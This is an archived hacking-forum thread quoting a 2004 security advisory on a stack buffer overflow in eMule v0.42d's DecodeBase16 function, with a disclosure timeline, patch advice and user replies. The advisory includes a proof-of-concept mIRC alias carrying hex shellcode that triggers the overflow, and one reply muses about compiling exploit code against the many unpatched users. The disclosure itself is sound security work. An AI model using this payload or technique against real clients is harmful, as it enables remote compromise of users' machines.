hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Emule Exploit ?
setthesun
Any exploit about this issue ?
QUOTE

eMule v0.42d Buffer Overflow

Description
-----------

A vulnerability exists in eMule v0.42d (and probably earlier versions) in the DecodeBase16(...) function. This function takes an hexadecimal string, its length, and a destination buffer (on the stack) as parameters. The function decodes whatever is supplied, no length check is performed on the string nor on the buffer, leading to a possible stack overflow.

The function is called 5 times in the code: 3 times in the web server (which may require authentication) and 2 times in the IRC client (not connected by default).

  uchar userid[16];
  DecodeBase16(hash.GetBuffer(),hash.GetLength(),userid);

Proof of concept
----------------

Bourriquet is an mIRC alias exploiting this overflow in v0.42d via the SENDLINK command, it calls MessageBoxA (to display 'Patch your eMule !') and then ExitProcess :

/bourriquet { .quote PRIVMSG $1
$+(:,& #036;chr(1),SENDLINK|,9090909090909090909090909090909090909090909090909090909090
90909090909090909090909090909090909090909090909090909090909090909090909090909090
90909090909090EB0790907AF65700906681EC400031C96820210000684D756C6568757220656868
20796F685061746389E2515152513EFF15C0E76100503EFF1568E461009090909090909090909090
90909090909090909090909090909090909090909090909090909090909090909090909090909090
9090909090909090909090,|,$chr(1))

}

Developer response
------------------

The flaw was reported to bluecow from the eMule Team on March, 30th
2004 on IRC. He stated the issue would be patched in the upcoming eMule release, available here:
http://www.emule-project.net/home/perl/new...i?l=1&cat_id=22

An effort was also done in changing the IRC server address and kicking out vulnerable clients (nice work smile.gif

Solution/Workaround
-------------------

The following options are available:
- upgrade to eMule version 0.42e,
- do not use the eMule web server and IRC client,
- uninstall eMule smile.gif

Credits
-------

The vulnerability was discovered by Kostya Kortchinsky, from CERT RENATER, on March 24th 2004, following a FHP meeting and a remark from nico : "eMule and all these P2P tools are better than VNC to get remote access to a box".

Greetings to the people of the French Honeynet Project, MISC Magazine and #fee1dead@EFnet.
FakoLy
personaly i don't use emule (nor any other p2p clients^^)
but thanx for this nice info smile.gif I like nico at the FHP meeting hehe
Regards
Hellraiseruk
Sounds intresting..i know plenty of people that use emul so be qwite alot vul, maybe can find the code to compile it biggrin.gif
setthesun
Emule is a huge P2P network and only some of them upgrade their versions.
I see lots of people are using 0.3 version still.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.